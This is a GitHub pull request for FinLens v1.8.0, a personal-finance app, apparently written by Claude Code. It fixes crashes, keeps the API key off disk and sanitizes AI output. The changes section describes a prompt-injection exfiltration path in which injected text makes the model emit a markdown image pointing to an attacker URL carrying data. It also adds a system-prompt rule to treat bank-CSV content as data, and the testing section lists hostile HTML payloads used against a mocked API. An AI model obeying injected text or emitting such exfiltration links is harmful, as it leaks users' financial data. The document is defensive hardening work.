Skip to content

v1.8.0: keep API key off disk, sanitize AI output, restore AI Analysis, fix crashes, add sample data - #1

Merged
gitluis merged 5 commits into
masterfrom
security-fixes-restore-ai
Oct 25, 2026
Merged

gitluis merged 5 commits into
masterfrom
security-fixes-restore-ai

Conversation

@gitluis

@gitluis gitluis commented Oct 24, 2026 •

Copy link
Copy Markdown
Owner

Summary

Gets FinLens ready to be made public: the API key stays off disk, Claude's output is sanitized before rendering, the AI Analysis tab is back and working, two crashes are fixed, synthetic sample data is added, and the docs match the code again. Released as v1.8.0.

Changes

1. Two pre-existing crashes fixed (2da6c3a)

  • Investments tab never loaded. _renderForecastInvest() in views-invest.js closed with }); instead of }, so the whole file failed to parse. Investments and Forecast → Investments were both dead.
  • detectRecurring() threw ReferenceError: key is not defined whenever it found a recurring charge, which crashed Trends insights and the AI summary. One-character fix: {key} → {key:k}.

2. AI Analysis restored and hardened (53b1625)

  • Restored the nav item and views-ai.js script tag, which were removed in 1.7.0.
  • Model: claude-sonnet-4-20250514 was retired 2026-06-15, so every call would have failed. It now uses claude-sonnet-5-5 via one AI_MODEL constant.
  • API key off disk:
    • saveStateToFile() no longer writes apiKey to finlens-state.json.
    • loadStateFromFile() strips it from older files, moves it to browser storage if that was the only copy, and schedules a re-save that rewrites the file without it.
  • API key UI: a new card in Settings → General. It's a password field, and the stored value is never rendered back into the page.
  • Sanitized output:
    • New renderMarkdown() in core.js runs marked → DOMPurify, with no img, style or form tags, and falls back to escaped text.
    • It replaces every direct marked.parse() call.
    • Blocking images closes the classic exfiltration path, where injected text makes the model emit [](https://attacker/?data=…).
  • Prompt injection:
    • The financial summary is sent inside <financial_data> tags.
    • The system prompt says to treat that content as data, since merchant descriptions come from bank CSVs.
  • Response parsing: all text blocks are joined, instead of assuming content[0] is text.
  • No silent failures (review revision): every failure now appears on the page instead of the click doing nothing. That includes a summary that can't be built, API errors (with a key hint on 401), network errors and a 90-second timeout.
  • Pinned CDN scripts with SRI:
    • marked is pinned to 15.0.12. The unpinned URL was already resolving to that version, because newer releases dropped the root marked.min.js, so behavior is unchanged.
    • DOMPurify 3.4.17 is added.
    • Both hashes were computed from the npm packages.
  • .gitignore: now ignores finlens-state.json by name. Before, it was only safe if the folder sat inside data/. Settings exports and saved AI analyses are also ignored.

3. Synthetic sample data (64a0479)

  • samples/: fake Ally Checking, Ally Savings and Chase CSVs covering May–Oct 2026, 257 rows in total.
  • What they exercise:
    • Ally's leading-space headers and Chase's mixed date formats.
    • Paired transfers, card payments, a return and subscriptions.
    • Two identical Chase rows, for the _2 occurrence suffix.

4. Release v1.8.0 and docs (7caafae)

  • CLAUDE.md: corrected the stale version, tech stack, structure, §13 and §14 (the folder handle also drives finlens-state.json). The version-bump checklist now includes views-settings.js. New rules: no secrets on disk, renderMarkdown() only, no real data in git.
  • README: sample-data instructions, the correct Import path (Settings → Import), AI security notes and the current model.
  • Version 1.8.0 in all four places, plus a CHANGELOG entry.

How it was tested

A headless Chromium run with the CDN libraries served from local npm copies, a mocked Anthropic API returning a hostile response, and the sample CSVs. 27/27 checks passed:

  • SRI: both pinned scripts load with their integrity hashes.
  • Data:
    • All 257 rows parse, and dates are valid across the mixed formats.
    • 30+ transfers are detected.
    • Auto-categorization works.
    • The identical Chase rows get the _2 suffix.
  • Views: every nav view renders with no errors, including Investments, Forecast → Investments and Trends.
  • Key storage:
    • Saving the key stores it, and it never appears in the page HTML.
    • Remove clears it.
  • State file:
    • The written finlens-state.json has no apiKey field.
    • An old file containing a key loses it on load, and the scheduled re-save scrubs it.
  • API request: uses claude-sonnet-5-5, wraps the summary in <financial_data>, and sends the key only in the x-api-key header.
  • Hostile response:
    • <img onerror>, <script>, a javascript: link, an onclick and a markdown image to an outside URL are all stripped.
    • Nothing executes, and no request reaches the outside host.
    • Headings, lists, bold and a normal link still render.
  • History and fallback: history replay is sanitized, and the fallback without DOMPurify renders escaped text.

Please check before merging

  • Open the app once in Chrome and confirm the console shows no SRI errors. The hashes match the npm packages, but I couldn't reach jsDelivr from my environment to compare its bytes directly. If a hash mismatches, the app still works: AI output falls back to plain escaped text.
  • Scrub your existing state file: if your real finlens-state.json holds the old key, click Save Now in Settings → Import after loading, then confirm apiKey is gone from the file. The browser may need write permission for that folder.
  • Try one real AI question with your key, since the API was mocked in testing.

Known issue, not fixed here

Re-importing the same Chase file duplicates every Chase row in IndexedDB. In testing, it went from 165 to 330.

  • Cause: DB.importTransactions() treats any ID collision with an existing row as an identical-row case and inserts it with a _2 suffix.
  • Ally files are unaffected, because they skip collisions.
  • Visibility: it only shows up when the app boots from IndexedDB rather than finlens-state.json.
  • Fix: count occurrences within the import batch instead of colliding against the database. This needs care, so it belongs in its own PR.

https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc


Generated by Claude Code

…urring ReferenceError

- views-invest.js: _renderForecastInvest() closed with '});' instead of '}',
  so the whole file failed to parse and the Investments tab never registered.
- aggregation.js: detectRecurring() pushed {key} but the loop variable is k,
  throwing whenever a recurring charge was found (Trends insights, AI summary).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
- Re-add the AI Analysis nav item and views-ai.js script tag (removed in 1.7.0).
- Model: claude-sonnet-4-20250514 was retired 2026-06-15; use claude-sonnet-5-5
  via a single AI_MODEL constant.
- API key: new Settings > General card (password field, value never rendered).
  saveStateToFile() no longer writes apiKey to finlens-state.json;
  loadStateFromFile() strips it from older files, moves it to browser storage
  if needed, and schedules a re-save to scrub the file.
- Output: new renderMarkdown() (marked -> DOMPurify, no img/style/forms,
  escaped-text fallback) replaces every direct marked.parse() call.
- Prompt injection: summary sent inside <financial_data> tags with a
  data-only instruction in the system prompt; responses join all text blocks.
- Pin marked@15.0.12 (what the unpinned URL already served) and add
  DOMPurify@3.4.17, both with SRI.
- .gitignore: finlens-state.json, settings exports, saved AI analyses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
Fake Ally Checking, Ally Savings and Chase data (May-Oct 2026) covering
leading-space headers, mixed date formats, paired transfers, card payments,
a return, subscriptions, and identical Chase rows for the _2 suffix.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
…ections

- CLAUDE.md: fix stale version, tech stack, structure, §13 AI integration,
  §14 (folder handle also drives finlens-state.json) and the version-bump
  checklist; add no-secrets-on-disk, renderMarkdown-only and no-real-data rules.
- README: sample data, Settings > Import path, AI security notes, current model.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc
buildFinancialSummary() ran before the 'Analyzing…' message and outside the
try block, so any error there (e.g. string dates after booting from
finlens-state.json) made a click do nothing at all. Now every failure is shown
on the page: summary errors (nothing is sent), API errors with a 401 key hint,
network errors, and a 90s timeout. Clicks are ignored while a request runs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AT1Bh6Sscb8ogzzuf8U3Jc

gitluis commented Oct 24, 2026

Copy link
Copy Markdown
Owner Author

Review follow-up — "real AI question didn't do anything"

Reproduced. Your app boots from finlens-state.json, and transactions loaded from it had string dates. buildFinancialSummary() threw before the request was sent, and that ran outside the error handling, so the click did nothing.

You need #1 through #4 merged for the AI tab to work with your real data. To test before merging, check out fix-state-file-boot-dates, which contains everything.


Generated by Claude Code

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants